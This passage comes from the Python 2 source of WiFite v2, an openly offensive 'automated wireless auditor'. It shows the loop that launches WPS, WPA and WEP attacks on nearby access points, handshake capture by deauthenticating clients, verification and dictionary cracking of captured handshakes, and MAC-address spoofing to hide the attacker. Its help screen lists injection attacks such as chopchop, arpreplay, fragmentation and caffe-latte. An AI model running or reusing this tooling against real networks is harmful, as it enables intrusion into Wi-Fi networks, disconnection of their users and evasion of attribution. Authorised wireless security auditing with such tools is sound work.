| index -= 1 1340 | break 1341 | 1342 | # Check if handshakes already exist, ask user whether to skip targets or save new handshakes 1343 | handshake_file = RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \ 1344 | + '_' + target.bssid.replace(':', '-') + '.cap' 1345 | if os.path.exists(handshake_file): 1346 | print R + '\n [!] ' + O + 'you already have a handshake file for %s:' % (C + target.ssid + W) 1347 | print ' %s\n' % (G + handshake_file + W) 1348 | print GR + ' [+]' + W + ' do you want to ' + G + '[s]kip' + W + ', ' + O + '[c]apture again' + W + ', or ' + R + '[o]verwrite' + W + '?' 1349 | ri = 'x' 1350 | while ri != 's' and ri != 'c' and ri != 'o': 1351 | ri = raw_input( 1352 | GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower() 1353 | print W + "\b", 1354 | if ri == 's': 1355 | targets.pop(index) 1356 | index -= 1 1357 | elif ri == 'o': 1358 | remove_file(handshake_file) 1359 | continue 1360 | index += 1 1361 | 1362 | 1363 | except KeyboardInterrupt: 1364 | print '\n ' + R + '(^C)' + O + ' interrupted\n' 1365 | self.RUN_CONFIG.exit_gracefully(0) 1366 | 1367 | wpa_success = 0 1368 | wep_success = 0 1369 | wpa_total = 0 1370 | wep_total = 0 1371 | 1372 | self.RUN_CONFIG.TARGETS_REMAINING = len(targets) 1373 | for t in targets: 1374 | self.RUN_CONFIG.TARGETS_REMAINING -= 1 1375 | 1376 | # Build list of clients connected to target 1377 | ts_clients = [] 1378 | for c in clients: 1379 | if c.station == t.bssid: 1380 | ts_clients.append(c) 1381 | 1382 | print '' 1383 | if t.encryption.find('WPA') != -1: 1384 | need_handshake = True 1385 | if not self.RUN_CONFIG.WPS_DISABLE and t.wps: 1386 | wps_attack = WPSAttack(iface, t, self.RUN_CONFIG) 1387 | need_handshake = not wps_attack.RunAttack() 1388 | wpa_total += 1 1389 | 1390 | if not need_handshake: wpa_success += 1 1391 | if self.RUN_CONFIG.TARGETS_REMAINING < 0: break 1392 | 1393 | if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake: 1394 | wpa_total += 1 1395 | wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG) 1396 | if wpa_attack.RunAttack(): 1397 | wpa_success += 1 1398 | 1399 | elif t.encryption.find('WEP') != -1: 1400 | wep_total += 1 1401 | wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG) 1402 | if wep_attack.RunAttack(): 1403 | wep_success += 1 1404 | 1405 | else: 1406 | print R + ' unknown encryption:', t.encryption, W 1407 | 1408 | # If user wants to stop attacking 1409 | if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break 1410 | 1411 | if wpa_total + wep_total > 0: 1412 | # Attacks are done! Show results to user 1413 | print '' 1414 | print GR + ' [+] %s%d attack%s completed:%s' % ( 1415 | G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W) 1416 | print '' 1417 | if wpa_total > 0: 1418 | if wpa_success == 0: 1419 | print GR + ' [+]' + R, 1420 | elif wpa_success == wpa_total: 1421 | print GR + ' [+]' + G, 1422 | else: 1423 | print GR + ' [+]' + O, 1424 | print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W) 1425 | 1426 | for finding in self.RUN_CONFIG.WPA_FINDINGS: 1427 | print ' ' + C + finding + W 1428 | 1429 | if wep_total > 0: 1430 | if wep_success == 0: 1431 | print GR + ' [+]' + R, 1432 | elif wep_success == wep_total: 1433 | print GR + ' [+]' + G, 1434 | else: 1435 | print GR + ' [+]' + O, 1436 | print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W) 1437 | 1438 | for finding in self.RUN_CONFIG.WEP_FINDINGS: 1439 | print ' ' + C + finding + W 1440 | 1441 | caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK) 1442 | if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK: 1443 | print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % ( 1444 | G, caps, W if caps == 1 else 's' + W) 1445 | for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK: 1446 | wpa_crack(cap, self.RUN_CONFIG) 1447 | 1448 | print '' 1449 | self.RUN_CONFIG.exit_gracefully(0) 1450 | 1451 | def parse_csv(self, filename): 1452 | """ 1453 | Parses given lines from airodump-ng CSV file. 1454 | Returns tuple: List of targets and list of clients. 1455 | """ 1456 | if not os.path.exists(filename): return ([], []) 1457 | targets = [] 1458 | clients = [] 1459 | try: 1460 | hit_clients = False 1461 | with open(filename, 'rb') as csvfile: 1462 | targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',') 1463 | for row in targetreader: 1464 | if len(row) < 2: 1465 | continue 1466 | if not hit_clients: 1467 | if row[0].strip() == 'Station MAC': 1468 | hit_clients = True 1469 | continue 1470 | if len(row) < 14: 1471 | continue 1472 | if row[0].strip() == 'BSSID': 1473 | continue 1474 | enc = row[5].strip() 1475 | wps = False 1476 | # Ignore non-WPA and non-WEP encryption 1477 | if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue 1478 | if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue 1479 | if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find( 1480 | 'WPA') != -1: continue 1481 | if enc == "WPA2WPA" or enc == "WPA2 WPA": 1482 | enc = "WPA2" 1483 | wps = True 1484 | if len(enc) > 4: 1485 | enc = enc[4:].strip() 1486 | power = int(row[8].strip()) 1487 | 1488 | ssid = row[13].strip() 1489 | ssidlen = int(row[12].strip()) 1490 | ssid = ssid[:ssidlen] 1491 | 1492 | if power < 0: power += 100 1493 | t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid) 1494 | t.wps = wps 1495 | targets.append(t) 1496 | else: 1497 | if len(row) < 6: 1498 | continue 1499 | bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip()) 1500 | station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip()) 1501 | power = row[3].strip() 1502 | if station != 'notassociated': 1503 | c = Client(bssid, station, power) 1504 | clients.append(c) 1505 | except IOError as e: 1506 | print "I/O error({0}): {1}".format(e.errno, e.strerror) 1507 | return ([], []) 1508 | 1509 | return (targets, clients) 1510 | 1511 | def analyze_capfile(self, capfile): 1512 | """ 1513 | Analyzes given capfile for handshakes using various programs. 1514 | Prints results to console. 1515 | """ 1516 | # we're not running an attack 1517 | wpa_attack = WPAAttack(None, None, None, None) 1518 | 1519 | if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '': 1520 | print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes' 1521 | print R + ' [!]' + O + ' please enter essid (access point name) using -e ' 1522 | print R + ' [!]' + O + ' and/or target bssid (mac address) using -b \n' 1523 | # exit_gracefully(1) 1524 | 1525 | if self.RUN_CONFIG.TARGET_BSSID == '': 1526 | # Get the first BSSID found in tshark! 1527 | self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile) 1528 | # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == '' 1529 | if self.RUN_CONFIG.TARGET_BSSID == '': 1530 | print R + ' [!]' + O + ' unable to guess BSSID from ESSID!' 1531 | else: 1532 | print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W) 1533 | 1534 | if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '': 1535 | self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile) 1536 | 1537 | print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W) 1538 | 1539 | t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID) 1540 | 1541 | if program_exists('pyrit'): 1542 | result = wpa_attack.has_handshake_pyrit(t, capfile) 1543 | print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % ( 1544 | G + 'found!' + W if result else O + 'not found' + W) 1545 | else: 1546 | print R + ' [!]' + O + ' program not found: pyrit' 1547 | if program_exists('cowpatty'): 1548 | result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True) 1549 | print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % ( 1550 | G + 'found!' + W if result else O + 'not found' + W) 1551 | result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False) 1552 | print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % ( 1553 | G + 'found!' + W if result else O + 'not found' + W) 1554 | else: 1555 | print R + ' [!]' + O + ' program not found: cowpatty' 1556 | if program_exists('tshark'): 1557 | result = wpa_attack.has_handshake_tshark(t, capfile) 1558 | print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % ( 1559 | G + 'found!' + W if result else O + 'not found' + W) 1560 | else: 1561 | print R + ' [!]' + O + ' program not found: tshark' 1562 | if program_exists('aircrack-ng'): 1563 | result = wpa_attack.has_handshake_aircrack(t, capfile) 1564 | print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % ( 1565 | G + 'found!' + W if result else O + 'not found' + W) 1566 | else: 1567 | print R + ' [!]' + O + ' program not found: aircrack-ng' 1568 | 1569 | print '' 1570 | 1571 | self.RUN_CONFIG.exit_gracefully(0) 1572 | 1573 | 1574 | ################## 1575 | # MAIN FUNCTIONS # 1576 | ################## 1577 | 1578 | ############################################################## 1579 | ### End Classes 1580 | 1581 | def rename(old, new): 1582 | """ 1583 | Renames file 'old' to 'new', works with separate partitions. 1584 | Thanks to hannan.sadar 1585 | """ 1586 | try: 1587 | os.rename(old, new) 1588 | except os.error, detail: 1589 | if detail.errno == errno.EXDEV: 1590 | try: 1591 | copy(old, new) 1592 | except: 1593 | os.unlink(new) 1594 | raise 1595 | os.unlink(old) 1596 | # if desired, deal with other errors 1597 | else: 1598 | raise 1599 | 1600 | 1601 | def banner(RUN_CONFIG): 1602 | """ 1603 | Displays ASCII art of the highest caliber. 1604 | """ 1605 | print '' 1606 | print G + " .;' `;, " 1607 | print G + " .;' ,;' `;, `;, " + W + "WiFite v2.0 (r" + str(RUN_CONFIG.REVISION) + ")" 1608 | print G + ".;' ,;' ,;' `;, `;, `;, " 1609 | print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor" 1610 | print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' " 1611 | print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + G + "try the new version:" 1612 | print G + " ':. " + GR + "/_____\\" + G + " ,:' " + C + "https://github.com/derv82/wifite2" 1613 | print G + " " + GR + "/ \\" + G + " " 1614 | print W 1615 | 1616 | 1617 | def help(): 1618 | """ 1619 | Prints help screen 1620 | """ 1621 | 1622 | head = W 1623 | sw = G 1624 | var = GR 1625 | des = W 1626 | de = G 1627 | 1628 | print head + ' COMMANDS' + W 1629 | print sw + '\t-check ' + var + '\t' + des + 'check capfile ' + var + '' + des + ' for handshakes.' + W 1630 | print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W 1631 | print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W 1632 | print '' 1633 | 1634 | print head + ' GLOBAL' + W 1635 | print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W 1636 | #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W 1637 | print sw + '\t-i ' + var + ' \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W 1638 | print sw + '\t-mon-iface ' + var + ' \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W 1639 | print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W 1640 | print sw + '\t-c ' + var + '\t' + des + 'channel to scan for targets ' + de + '[auto]' + W 1641 | print sw + '\t-e ' + var + ' \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W 1642 | print sw + '\t-b ' + var + ' \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W 1643 | print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W 1644 | print sw + '\t-pow ' + var + ' \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W 1645 | print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W 1646 | print '' 1647 | 1648 | print head + '\n WPA' + W 1649 | print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W 1650 | print sw + '\t-wpat ' + var + ' \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W 1651 | print sw + '\t-wpadt ' + var + ' \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W 1652 | print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W 1653 | print sw + '\t-crack ' + var + '\t' + des + 'crack WPA handshakes using ' + var + '' + des + ' wordlist file ' + de + '[off]' + W 1654 | print sw + '\t-dict ' + var + '\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W 1655 | print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W 1656 | print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W 1657 | print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W 1658 | print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W 1659 | 1660 | print head + '\n WEP' + W 1661 | print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W 1662 | print sw + '\t-pps ' + var + ' \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W 1663 | print sw + '\t-wept ' + var + ' \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W 1664 | print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W 1665 | print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W 1666 | print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W 1667 | print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W 1668 | print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W 1669 | print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W 1670 | print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W 1671 | print sw + '\t-wepca ' + GR + ' \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W 1672 | print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W 1673 | 1674 | print head + '\n WPS' + W 1675 | print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W 1676 | print sw + '\t-wpst ' + var + ' \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W 1677 | print sw + '\t-wpsratio ' + var + '\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W 1678 | print sw + '\t-wpsretry ' + var + '\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W 1679 | 1680 | print head + '\n EXAMPLE' + W 1681 | print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W 1682 | print '' 1683 | 1684 | 1685 | ########################### 1686 | # WIRELESS CARD FUNCTIONS # 1687 | ########################### 1688 | 1689 | 1690 | 1691 | 1692 | ###################### 1693 | # SCANNING FUNCTIONS # 1694 | ###################### 1695 | 1696 | 1697 | 1698 | 1699 | 1700 | def wps_check_targets(targets, cap_file, verbose=True): 1701 | """ 1702 | Uses tshark to check access points in cap_file for WPS functionality. 1703 | Sets "wps" field of targets that match to True. 1704 | """ 1705 | global RUN_CONFIG 1706 | 1707 | if not program_exists('tshark'): 1708 | RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute tshark 1709 | return 1710 | 1711 | if len(targets) == 0 or not os.path.exists(cap_file): return 1712 | 1713 | if verbose: 1714 | print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...', 1715 | stdout.flush() 1716 | 1717 | cmd = [ 1718 | 'tshark', 1719 | '-r', cap_file, # Path to cap file 1720 | '-n', # Don't resolve addresses 1721 | # Filter WPS broadcast packets 1722 | '-Y', 'wps.wifi_protected_setup_state && wlan.da == ff:ff:ff:ff:ff:ff', 1723 | '-T', 'fields', # Only output certain fields 1724 | '-e', 'wlan.ta', # BSSID 1725 | '-e', 'wps.ap_setup_locked', # Locked status 1726 | '-E', 'separator=,' # CSV 1727 | ] 1728 | proc_tshark = Popen(cmd, stdout=PIPE, stderr=DN) 1729 | proc_tshark.wait() 1730 | tshark_stdout, _ = proc_tshark.communicate() 1731 | bssid_regex = re.compile("([A-F0-9\:]{17})", re.IGNORECASE) 1732 | bssids = [bssid.upper() for bssid in bssid_regex.findall(tshark_stdout)] 1733 | for t in targets: 1734 | if t.bssid.upper() in bssids: 1735 | t.wps = True 1736 | t.wps = t.bssid.upper() in bssids 1737 | if verbose: 1738 | print 'done' 1739 | removed = 0 1740 | if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE: 1741 | i = 0 1742 | while i < len(targets): 1743 | if not targets[i].wps and targets[i].encryption.find('WPA') != -1: 1744 | removed += 1 1745 | targets.pop(i) 1746 | else: 1747 | i += 1 1748 | if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W) 1749 | 1750 | 1751 | def print_and_exec(cmd): 1752 | """ 1753 | Prints and executes command "cmd". Also waits half a second 1754 | Used by rtl8187_fix (for prettiness) 1755 | """ 1756 | print '\r \r', 1757 | stdout.flush() 1758 | print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W, 1759 | stdout.flush() 1760 | call(cmd, stdout=DN, stderr=DN) 1761 | time.sleep(0.1) 1762 | 1763 | 1764 | #################### 1765 | # HELPER FUNCTIONS # 1766 | #################### 1767 | 1768 | def remove_airodump_files(prefix): 1769 | """ 1770 | Removes airodump output files for whatever file prefix ('wpa', 'wep', etc) 1771 | Used by wpa_get_handshake() and attack_wep() 1772 | """ 1773 | global RUN_CONFIG 1774 | remove_file(prefix + '-01.cap') 1775 | remove_file(prefix + '-01.csv') 1776 | remove_file(prefix + '-01.kismet.csv') 1777 | remove_file(prefix + '-01.kismet.netxml') 1778 | for filename in os.listdir(RUN_CONFIG.temp): 1779 | if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename) 1780 | for filename in os.listdir('.'): 1781 | if filename.startswith('replay_') and filename.endswith('.cap'): 1782 | remove_file(filename) 1783 | if filename.endswith('.xor'): remove_file(filename) 1784 | # Remove .cap's from previous attack sessions 1785 | """i = 2 1786 | while os.path.exists(temp + 'wep-' + str(i) + '.cap'): 1787 | os.remove(temp + 'wep-' + str(i) + '.cap') 1788 | i += 1 1789 | """ 1790 | 1791 | 1792 | def remove_file(filename): 1793 | """ 1794 | Attempts to remove a file. Does not throw error if file is not found. 1795 | """ 1796 | try: 1797 | os.remove(filename) 1798 | except OSError: 1799 | pass 1800 | 1801 | 1802 | def program_exists(program): 1803 | """ 1804 | Uses 'which' (linux command) to check if a program is installed. 1805 | """ 1806 | 1807 | proc = Popen(['which', program], stdout=PIPE, stderr=PIPE) 1808 | txt = proc.communicate() 1809 | if txt[0].strip() == '' and txt[1].strip() == '': 1810 | return False 1811 | if txt[0].strip() != '' and txt[1].strip() == '': 1812 | return True 1813 | 1814 | return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1) 1815 | 1816 | 1817 | def sec_to_hms(sec): 1818 | """ 1819 | Converts integer sec to h:mm:ss format 1820 | """ 1821 | if sec <= -1: return '[endless]' 1822 | h = sec / 3600 1823 | sec %= 3600 1824 | m = sec / 60 1825 | sec %= 60 1826 | return '[%d:%02d:%02d]' % (h, m, sec) 1827 | 1828 | 1829 | def send_interrupt(process): 1830 | """ 1831 | Sends interrupt signal to process's PID. 1832 | """ 1833 | try: 1834 | os.kill(process.pid, SIGINT) 1835 | # os.kill(process.pid, SIGTERM) 1836 | except OSError: 1837 | pass # process cannot be killed 1838 | except TypeError: 1839 | pass # pid is incorrect type 1840 | except UnboundLocalError: 1841 | pass # 'process' is not defined 1842 | except AttributeError: 1843 | pass # Trying to kill "None" 1844 | 1845 | 1846 | def get_mac_address(iface): 1847 | """ 1848 | Returns MAC address of "iface". 1849 | """ 1850 | proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN) 1851 | proc.wait() 1852 | mac = '' 1853 | output = proc.communicate()[0] 1854 | mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] 1855 | match = re.search(' (%s)' % mac_regex, output) 1856 | if match: 1857 | mac = match.groups()[0].replace('-', ':') 1858 | return mac 1859 | 1860 | 1861 | def generate_random_mac(old_mac): 1862 | """ 1863 | Generates a random MAC address. 1864 | Keeps the same vender (first 6 chars) of the old MAC address (old_mac). 1865 | Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex 1866 | """ 1867 | random.seed() 1868 | new_mac = old_mac[:8].lower().replace('-', ':') 1869 | for i in xrange(0, 6): 1870 | if i % 2 == 0: new_mac += ':' 1871 | new_mac += '0123456789abcdef'[random.randint(0, 15)] 1872 | 1873 | # Prevent generating the same MAC address via recursion. 1874 | if new_mac == old_mac: 1875 | new_mac = generate_random_mac(old_mac) 1876 | return new_mac 1877 | 1878 | 1879 | def mac_anonymize(iface): 1880 | """ 1881 | Changes MAC address of 'iface' to a random MAC. 1882 | Only randomizes the last 6 digits of the MAC, so the vender says the same. 1883 | Stores old MAC address and the interface in ORIGINAL_IFACE_MAC 1884 | """ 1885 | global RUN_CONFIG 1886 | if RUN_CONFIG.DO_NOT_CHANGE_MAC: return 1887 | if not program_exists('ifconfig'): return 1888 | 1889 | # Store old (current) MAC address 1890 | proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN) 1891 | proc.wait() 1892 | for word in proc.communicate()[0].split('\n')[0].split(' '): 1893 | if word != '': old_mac = word 1894 | RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac) 1895 | 1896 | new_mac = generate_random_mac(old_mac) 1897 | 1898 | call(['ifconfig', iface, 'down']) 1899 | 1900 | print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W), 1901 | stdout.flush() 1902 | 1903 | proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN) 1904 | proc.wait() 1905 | call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) 1906 | print 'done' 1907 | 1908 | 1909 | def mac_change_back(): 1910 | """ 1911 | Changes MAC address back to what it was before attacks began. 1912 | """ 1913 | global RUN_CONFIG 1914 | iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0] 1915 | old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1] 1916 | if iface == '' or old_mac == '': return 1917 | 1918 | print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W), 1919 | stdout.flush() 1920 | 1921 | call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN) 1922 | proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN) 1923 | proc.wait() 1924 | call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) 1925 | print "done" 1926 | 1927 | 1928 | def get_essid_from_cap(bssid, capfile): 1929 | """ 1930 | Attempts to get ESSID from cap file using BSSID as reference. 1931 | Returns '' if not found. 1932 | """ 1933 | if not program_exists('tshark'): return '' 1934 | 1935 | cmd = ['tshark', 1936 | '-r', capfile, 1937 | '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid, 1938 | '-2', # -R is deprecated and requires -2 1939 | '-n'] 1940 | proc = Popen(cmd, stdout=PIPE, stderr=DN) 1941 | proc.wait() 1942 | for line in proc.communicate()[0].split('\n'): 1943 | if line.find('SSID=') != -1: 1944 | essid = line[line.find('SSID=') + 5:] 1945 | print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W) 1946 | return essid 1947 | print R + ' [!]' + O + ' unable to guess essid!' + W 1948 | return '' 1949 | 1950 | 1951 | def get_bssid_from_cap(essid, capfile): 1952 | """ 1953 | Returns first BSSID of access point found in cap file. 1954 | This is not accurate at all, but it's a good guess. 1955 | Returns '' if not found. 1956 | """ 1957 | global RUN_CONFIG 1958 | 1959 | if not program_exists('tshark'): return '' 1960 | 1961 | # Attempt to get BSSID based on ESSID 1962 | if essid != '': 1963 | cmd = ['tshark', 1964 | '-r', capfile, 1965 | '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid), 1966 | '-2', # -R is deprecated and requires -2 1967 | '-n', # Do not resolve MAC vendor names 1968 | '-T', 'fields', # Only display certain fields 1969 | '-e', 'wlan.sa'] # souce MAC address 1970 | proc = Popen(cmd, stdout=PIPE, stderr=DN) 1971 | proc.wait() 1972 | bssid = proc.communicate()[0].split('\n')[0] 1973 | if bssid != '': return bssid 1974 | 1975 | cmd = ['tshark', 1976 | '-r', capfile, 1977 | '-R', 'eapol', 1978 | '-2', # -R is deprecated and requires -2 1979 | '-n'] 1980 | proc = Popen(cmd, stdout=PIPE, stderr=DN) 1981 | proc.wait() 1982 | for line in proc.communicate()[0].split('\n'): 1983 | if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'): 1984 | while line.startswith(' ') or line.startswith('\t'): line = line[1:] 1985 | line = line.replace('\t', ' ') 1986 | while line.find(' ') != -1: line = line.replace(' ', ' ') 1987 | return line.split(' ')[2] 1988 | elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'): 1989 | while line.startswith(' ') or line.startswith('\t'): line = line[1:] 1990 | line = line.replace('\t', ' ') 1991 | while line.find(' ') != -1: line = line.replace(' ', ' ') 1992 | return line.split(' ')[4] 1993 | return '' 1994 | 1995 | 1996 | def attack_interrupted_prompt(): 1997 | """ 1998 | Promps user to decide if they want to exit, 1999 | skip to cracking WPA handshakes, 2000 | or continue attacking the remaining targets (if applicable). 2001 | returns True if user chose to exit complete, False otherwise 2002 | """ 2003 | global RUN_CONFIG 2004 | should_we_exit = False 2005 | # If there are more targets to attack, ask what to do next 2006 | if RUN_CONFIG.TARGETS_REMAINING > 0: 2007 | options = '' 2008 | print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W, 2009 | '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's', 2010 | 's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '') 2011 | print GR + " [+]" + W + " what do you want to do?" 2012 | options += G + 'c' + W 2013 | print G + " [c]ontinue" + W + " attacking targets" 2014 | 2015 | if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0: 2016 | options += W + ', ' + O + 's' + W 2017 | print O + " [s]kip" + W + " to cracking WPA cap files" 2018 | options += W + ', or ' + R + 'e' + W 2019 | print R + " [e]xit" + W + " completely" 2020 | ri = '' 2021 | while ri != 'c' and ri != 's' and ri != 'e': 2022 | ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options) 2023 | 2024 | if ri == 's': 2025 | RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking 2026 | elif ri == 'e': 2027 | should_we_exit = True 2028 | return should_we_exit 2029 | 2030 | 2031 | # 2032 | # Abstract base class for attacks. 2033 | # Attacks are required to implement the following methods: 2034 | # RunAttack - Initializes the attack 2035 | # EndAttack - Cleanly ends the attack 2036 | # 2037 | class Attack(object): 2038 | __metaclass__ = abc.ABCMeta 2039 | 2040 | @abc.abstractmethod 2041 | def RunAttack(self): 2042 | raise NotImplementedError() 2043 | 2044 | @abc.abstractmethod 2045 | def EndAttack(self): 2046 | raise NotImplementedError() 2047 | 2048 | 2049 | ################# 2050 | # WPA FUNCTIONS # 2051 | ################# 2052 | class WPAAttack(Attack): 2053 | def __init__(self, iface, target, clients, config): 2054 | self.iface = iface 2055 | self.clients = clients 2056 | self.target = target 2057 | self.RUN_CONFIG = config 2058 | 2059 | def RunAttack(self): 2060 | ''' 2061 | Abstract method for initializing the WPA attack 2062 | ''' 2063 | self.wpa_get_handshake() 2064 | 2065 | def EndAttack(self): 2066 | ''' 2067 | Abstract method for ending the WPA attack 2068 | ''' 2069 | pass 2070 | 2071 | def wpa_get_handshake(self): 2072 | """ 2073 | Opens an airodump capture on the target, dumping to a file. 2074 | During the capture, sends deauthentication packets to the target both as 2075 | general deauthentication packets and specific packets aimed at connected clients. 2076 | Waits until a handshake is captured. 2077 | "iface" - interface to capture on 2078 | "target" - Target object containing info on access point 2079 | "clients" - List of Client objects associated with the target 2080 | Returns True if handshake was found, False otherwise 2081 | """ 2082 | 2083 | if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1 2084 | 2085 | # Generate the filename to save the .cap file as _aa-bb-cc-dd-ee-ff.cap 2086 | save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \ 2087 | + '_' + self.target.bssid.replace(':', '-') + '.cap' 2088 